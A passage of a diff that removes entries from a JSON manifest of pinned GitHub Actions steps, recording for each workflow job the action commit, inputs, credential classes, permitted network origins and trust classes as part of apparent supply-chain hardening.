"untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/receive-locked-generic-tool-inputs", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "Receive locked generic-tool inputs", - "action": "actions/download-artifact", - "commit": "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", - "inputs": { - "name": "canonical-generic-tool-inputs-${{ inputs.ref }}", - "path": ".canonical-tool-inputs" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "read-same-run", - "source_id": "download-artifact", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/actions/checkout", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - "persist-credentials": false, - "ref": "${{ inputs.ref }}" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/actions/setup-python", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/coverage-report", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "coverage-report", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "coverage-report", - "path": "implementations/python/coverage.xml\nimplementations/python/coverage.json\n" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/proof-host-evidence", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "proof-host-evidence", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "proof-host-${{ inputs.ref }}", - "path": "proof-host-qualification.json", - "if-no-files-found": "error" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/fuzz/install-uv", - "workflow": ".github/workflows/ci.yml", - "job": "fuzz", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/fuzz/actions/checkout", - "workflow": ".github/workflows/ci.yml", - "job": "fuzz", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/fuzz/actions/setup-python", - "workflow": ".github/workflows/ci.yml", - "job": "fuzz", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/integration-docker/install-uv", - "workflow": ".github/workflows/ci.yml", - "job": "integration-docker", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/integration-docker/actions/checkout", - "workflow": ".github/workflows/ci.yml", - "job": "integration-docker", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/integration-docker/actions/setup-python", - "workflow": ".github/workflows/ci.yml", - "job": "integration-docker", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/interpreters/install-uv", - "workflow": ".github/workflows/ci.yml", - "job": "interpreters", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/interpreters/upload-interpreter-qualification-evidence", - "workflow": ".github/workflows/ci.yml", - "job": "interpreters", - "step": "Upload interpreter qualification evidence", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "python-${{ matrix.python.feature }}-${{ github.sha }}", - "path": "python-qualification.json", - "if-no-files-found": "error" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/interpreters/actions/checkout", - "workflow": ".github/workflows/ci.yml", - "job": "interpreters", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/interpreters/actions/setup-python", - "workflow": ".github/workflows/ci.yml", - "job": "interpreters", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "${{ matrix.python.payload }}" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/sonar/sonarcloud-scan", - "workflow": ".github/workflows/ci.yml", - "job": "sonar", - "step": "SonarCloud Scan", - "action": "sonarsource/sonarqube-scan-action", - "commit": "22918119ff8e1ca75a623e15c8296b6ea4fbe28f", - "inputs": {}, - "credential_classes": [ - "actions-artifact-token", - "github-token", - "secret:sonar-token" - ], - "allowed_origins": [ - "api.github.com", - "binaries.sonarsource.com", - "codeload.github.com", - "github.com", - "sonarcloud.io" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "sonarqube-scan", - "trust_classes": [ - "protected-branch", - "same-repository-pr" - ] - }, - { - "use_id": "ci/sonar/actions/checkout", - "workflow": ".github/workflows/ci.yml", - "job": "sonar", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token", - "secret:sonar-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "protected-branch", - "same-repository-pr" - ] - }, - { - "use_id": "ci/sonar/actions/download-artifact", - "workflow": ".github/workflows/ci.yml", - "job": "sonar", - "step": "actions/download-artifact", - "action": "actions/download-artifact", - "commit": "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", - "inputs": { - "name": "coverage-report", - "path": "implementations/python/" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token", - "secret:sonar-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "read-same-run", - "source_id": "download-artifact", - "trust_classes": [ - "protected-branch", - "same-repository-pr" - ] - }, - { - "use_id": "ci/supply-chain/install-uv", - "workflow": ".github/workflows/ci.yml", - "job": "supply-chain", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/supply-chain/upload-osv-scanner-report", - "workflow": ".github/workflows/ci.yml", - "job": "supply-chain", - "step": "Upload OSV-scanner report", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "osv-scanner-report", - "path": "implementations/python/osv-scanner-report.json", - "if-no-files-found": "warn" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/supply-chain/actions/checkout", - "workflow": ".github/workflows/ci.yml", - "job": "supply-chain", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "ci/supply-chain/actions/setup-python", - "workflow": ".github/workflows/ci.yml", - "job": "supply-chain", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "docs/build/install-uv", - "workflow": ".github/workflows/docs.yml", - "job": "build", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr" - ] - }, - { - "use_id": "docs/build/upload-pages-artifact", - "workflow": ".github/workflows/docs.yml", - "job": "build", - "step": "Upload Pages artifact", - "action": "actions/upload-pages-artifact", - "commit": "fc324d3547104276b827a68afc52ff2a11cc49c9", - "inputs": { - "path": "docs/_build/html" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-trusted", - "source_id": "upload-pages-artifact", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "docs/build/actions/checkout", - "workflow": ".github/workflows/docs.yml", - "job": "build", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr" - ] - }, - { - "use_id": "docs/build/actions/setup-python", - "workflow": ".github/workflows/docs.yml", - "job": "build", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr" - ] - }, - { - "use_id": "docs/deploy/deployment", - "workflow": ".github/workflows/docs.yml", - "job": "deploy", - "step": "deployment", - "action": "actions/deploy-pages", - "commit": "368f82528645a54fb793d4d04e342629a3f51346", - "inputs": {}, - "credential_classes": [ - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "read-same-run", - "source_id": "deploy-pages", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "post-merge-closing-issue-audit/report-open-closing-issues/actions/checkout", - "workflow": ".github/workflows/post-merge-closing-issue-audit.yml", - "job": "report-open-closing-issues", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false, - "ref": "dev" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "post-merge-closing-issue-audit/report-open-closing-issues/actions/setup-python", - "workflow": ".github/workflows/post-merge-closing-issue-audit.yml", - "job": "report-open-closing-issues", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "pr-body-policy/body-guard/actions/checkout", - "workflow": ".github/workflows/pr-body-policy.yml", - "job": "body-guard", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false, - "ref": "${{ github.event.pull_request.base.sha }}" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "pr-body-policy/body-guard/actions/setup-python", - "workflow": ".github/workflows/pr-body-policy.yml", - "job": "body-guard", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "pr-title-lint/title-guard/actions/checkout", - "workflow": ".github/workflows/pr-title-lint.yml", - "job": "title-guard", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false, - "ref": "${{ github.event.pull_request.base.sha }}" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "pr-title-lint/title-guard/actions/setup-python", - "workflow": ".github/workflows/pr-title-lint.yml", - "job": "title-guard", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "untrusted-pr" - ] - }, - { - "use_id": "python-free-threaded-preview/python-314t/install-uv", - "workflow": ".github/workflows/python-free-threaded-preview.yml", - "job": "python-314t", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "scheduled" - ] - }, - { - "use_id": "python-free-threaded-preview/python-314t/actions/checkout", - "workflow": ".github/workflows/python-free-threaded-preview.yml", - "job": "python-314t", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "scheduled" - ] - }, - { - "use_id": "python-free-threaded-preview/python-314t/actions/setup-python", - "workflow": ".github/workflows/python-free-threaded-preview.yml", - "job": "python-314t", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.14.7t" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "scheduled" - ] - }, - { - "use_id": "release-please/build-release/install-uv", - "workflow": ".github/workflows/release-please.yml", - "job": "build-release", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/build-release/upload-the-tested-release-distributions", - "workflow": ".github/workflows/release-please.yml", - "job": "build-release", - "step": "Upload the tested release distributions", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "release-distributions-${{ needs.resolve-release.outputs.release_sha }}", - "path": "${{ runner.temp }}/raes-release-dist/raes-*.whl\n${{ runner.temp }}/raes-release-dist/raes-*.tar.gz\n", - "if-no-files-found": "error", - "retention-days": 7 - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-trusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/build-release/actions/checkout", - "workflow": ".github/workflows/release-please.yml", - "job": "build-release", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - "ref": "${{ needs.resolve-release.outputs.release_sha }}", - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/build-release/actions/setup-python", - "workflow": ".github/workflows/release-please.yml", - "job": "build-release", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/integration-docker-release/install-uv", - "workflow": ".github/workflows/release-please.yml", - "job": "integration-docker-release", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/integration-docker-release/actions/checkout", - "workflow": ".github/workflows/release-please.yml", - "job": "integration-docker-release", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "ref": "${{ needs.resolve-release.outputs.release_sha }}", - "persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/integration-docker-release/actions/setup-python", - "workflow": ".github/workflows/release-please.yml", - "job": "integration-docker-release", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/publish-github/download-the-tested-release-distributions", - "workflow": ".github/workflows/release-please.yml", - "job": "publish-github", - "step": "Download the tested release distributions", - "action": "actions/download-artifact", - "commit": "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", - "inputs": { - "name": "release-distributions-${{ needs.resolve-release.outputs.release_sha }}", - "path": "dist/" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "read-same-run", - "source_id": "download-artifact", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/publish-github/actions/checkout", - "workflow": ".github/workflows/release-please.yml", - "job": "publish-github", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - "ref": "${{ needs.resolve-release.outputs.release_sha }}", - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/publish-pypi/download-the-tested-release-distributions", - "workflow": ".github/workflows/release-please.yml", - "job": "publish-pypi", - "step": "Download the tested release distributions", - "action": "actions/download-artifact", - "commit": "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", - "inputs": { - "name": "release-distributions-${{ needs.resolve-release.outputs.release_sha }}", - "path": "dist/" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "read-same-run", - "source_id": "download-artifact", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/publish-pypi/publish-to-pypi-oidc-trusted-publishing", - "workflow": ".github/workflows/release-please.yml", - "job": "publish-pypi", - "step": "Publish to PyPI (OIDC trusted publishing)", - "action": "pypa/gh-action-pypi-publish", - "commit": "dc37677b2e1c63e2034f94d8a5b11f265b73ba33", - "inputs": { - "packages-dir": "dist" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "auth.docker.io", - "codeload.github.com", - "files.pythonhosted.org", - "github.com", - "objects.githubusercontent.com", - "pypi.org", - "registry-1.docker.io", - "token.actions.githubusercontent.com", - "upload.pypi.org" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "pypi-publish", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/release-please/rp", - "workflow": ".github/workflows/release-please.yml", - "job": "release-please", - "step": "rp", - "action": "googleapis/release-please-action", - "commit": "45996ed1f6d02564a971a2fa1b5860e934307cf7", - "inputs": { - "token": "${{ secrets.GITHUB_TOKEN }}", - "config-file": "release-please-config.json", - "manifest-file": ".release-please-manifest.json" - }, - "credential_classes": [ - "github-token", - "secret:github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "uploads.github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "release-please", - "trust_classes": [ - "protected-branch" - ] - }, - { - "use_id": "release-please/resolve-release/actions/checkout", - "workflow": ".github/workflows/release-please.yml", - "job": "resolve-release", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - "persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "release-please/sync-dev/actions/checkout", - "workflow": ".github/workflows/release-please.yml", - "job": "sync-dev", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "fetch-depth": 0, - 